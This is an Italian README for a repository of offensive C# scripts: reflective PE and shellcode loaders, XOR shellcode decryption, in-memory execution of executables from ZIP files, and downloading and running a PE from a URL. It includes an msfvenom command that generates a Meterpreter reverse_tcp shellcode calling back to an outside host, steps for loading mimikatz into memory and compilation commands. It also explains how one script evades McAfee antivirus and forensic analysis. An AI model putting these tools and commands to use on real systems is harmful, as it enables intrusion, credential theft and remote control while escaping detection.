
Script offensivi in C# per l'iniezione riflessiva di PE e shellcode, l'esecuzione di payload in memoria, la decifratura brute-force XOR dello shellcode e l'analisi degli assembly .NET.
Autore: Arno0x0x - @Arno0x0x
Questo repository ha lo scopo di pubblicare alcuni dei miei script C#. Alcuni sono semplicemente fork o ispirati da altri script che ho trovato qua e là, e che ho adattato alle mie esigenze o semplicemente per imparare e migliorare.
bfDecryptShellcode.cs
Questo script è un PoC un po' sciocco e probabilmente non molto utile di decifratura tramite brute force di uno shellcode cifrato con XOR multibyte. Una volta decifrato lo shellcode, viene caricato in memoria ed eseguito.
Per usarlo, sono necessarie due cose:
È possibile ottenere entrambi usando il mio progetto ShellcodeWrapper e fornendogli qualsiasi payload metasploit raw.
parseAssembly.cs
Questa applicazione console caricherà dinamicamente un assembly .Net (exe o dll), sia da un file locale che scaricato da un URL, opzionalmente codificato in base64. Una volta caricato, enumererà i suoi tipi, metodi e proprietà.
Esempi:
parseAssembly.exe myAssembly.dll
oppure
parseAssembly.exe http://some.site.com/myAssembly base64
Questa è una raccolta di script adattati dal lavoro di Casey Smith (@subTee) sull'iniezione riflessiva di PE o shellcode nel processo chiamante, da varie fonti.
peloader.cs
Questo script carica un file PE x64 codificato in base64 (ad esempio: Mimikatz o un Meterpreter) nella memoria del processo e lo esegue in modo riflessivo. Il PE viene passato come variabile stringa base64 all'inizio del file (sì, è hardcoded).
È possibile generare questa stringa codificata in base64 da qualsiasi file usando la seguente riga di comando *nix:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
La compilazione dello script su una macchina Windows richiede il framework .Net (installato per impostazione predefinita da Windows 7 in poi):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
Questo script esegue uno shellcode nella memoria del processo e lo esegue in modo riflessivo. Lo shellcode viene passato come un array di byte in una variabile. È possibile ottenere il codice appropriato per questo array generato automaticamente con l'utility msfvenom di Metasploit. Ad esempio, per generare uno shellcode reverse_tcp meterpreter:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
La compilazione dello script su una macchina Windows richiede il framework .Net (installato per impostazione predefinita da Windows 7 in poi):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
Questo script è pesantemente e vergognosamente basato, ispirato e derivato dal lavoro di Casey Smith (@subTee) su Netkatz.
Ho scoperto che l'antivirus locale (McAfee) sulla mia workstation aziendale è configurato per NON analizzare il contenuto di un file ZIP, probabilmente partendo dal presupposto che ogni volta che questo contenuto debba essere letto o eseguito verrebbe normalmente prima estratto da qualche parte sul disco, e qualsiasi elemento dannoso in esso contenuto verrebbe intercettato dall'AV in quel momento.
Ciò che fa questo script è caricare tutto in memoria e lavorare solo da lì, usando anche la reflection per eseguire un PE dalla memoria del processo chiamante.
Quindi non solo l'AV non abbaia affatto, ma da una prospettiva forense, l'unico "processo visibilmente in esecuzione" sembra perfettamente innocuo.
Compilare lo script su una macchina Windows richiede il framework .Net (installato di default da Windows 7 in poi):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
Puoi quindi eseguire:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
Questo script è ampiamente basato e ispirato al lavoro di Casey Smith (@subTee) su Netkatz.
Netkatz è un fantastico PoC per caricare l'ultima release di mimikatz da GitHub ed eseguirla direttamente in memoria. Tuttavia, nel mio ambiente ho riscontrato tre problemi:
Ho quindi modificato lo script netkatz originale per risolvere questi 3 problemi:
L'URL da cui scaricare il PE nascosto è codificato direttamente nello script.
Compilare lo script su una macchina Windows richiede il framework .Net (installato per impostazione predefinita da Windows 7 in poi):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs